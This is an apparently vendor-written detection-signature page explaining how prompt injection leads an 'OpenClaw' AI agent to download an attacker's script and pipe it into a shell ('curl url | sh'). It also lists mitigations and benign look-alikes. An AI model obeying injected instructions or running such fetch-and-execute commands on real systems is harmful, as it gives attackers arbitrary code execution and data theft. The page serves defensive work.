OpenClaw Remote Code Execution via Piped Script Download
An attacker hides instructions inside content an AI agent processes, causing the agent to fetch a script from the internet and run it immediately by piping it into a shell interpreter. This lets the attacker execute arbitrary code on whatever system the agent is operating on.
How the attack works
An attacker plants malicious instructions somewhere the AI agent will read them, such as a document, webpage, or tool output the agent processes as part of its task. The injected instructions direct the agent to use curl or wget to download a script from an attacker-controlled URL. The agent, following the injected instructions, pipes that downloaded content directly into a shell (for example curl url | sh), executing it without ever writing it to disk for review. Because the script runs immediately, whatever code the attacker placed at that URL executes with the agent's privileges.
Netzilo detection
Netzilo can block this behaviour when it is observed.
- Signature ID
- 76eb614c-cea3-5aaa-ae79-aeb242cb1f12
- Severity
- Critical
Why it matters
An organization can lose control of any system the agent has access to, since the attacker's script runs with the agent's permissions and can install backdoors, exfiltrate data, or pivot further.
What you can do
- →Restrict the AI agent's ability to execute shell commands, especially pipe-to-shell patterns like curl/wget piped to sh or bash.
- →Require scripts to be downloaded, inspected, and reviewed before execution rather than executed inline.
- →Maintain an allowlist of trusted domains the agent can fetch installers or scripts from, and block execution from all others.
- →Treat any content the agent ingests (web pages, documents, tool outputs) as untrusted input and sandbox the agent's execution environment accordingly.
Known benign look-alikes
- Legitimate installer scripts from trusted vendors that use pipe-to-shell patterns
- OpenClaw automation workflows that bootstrap environments from internal artifact stores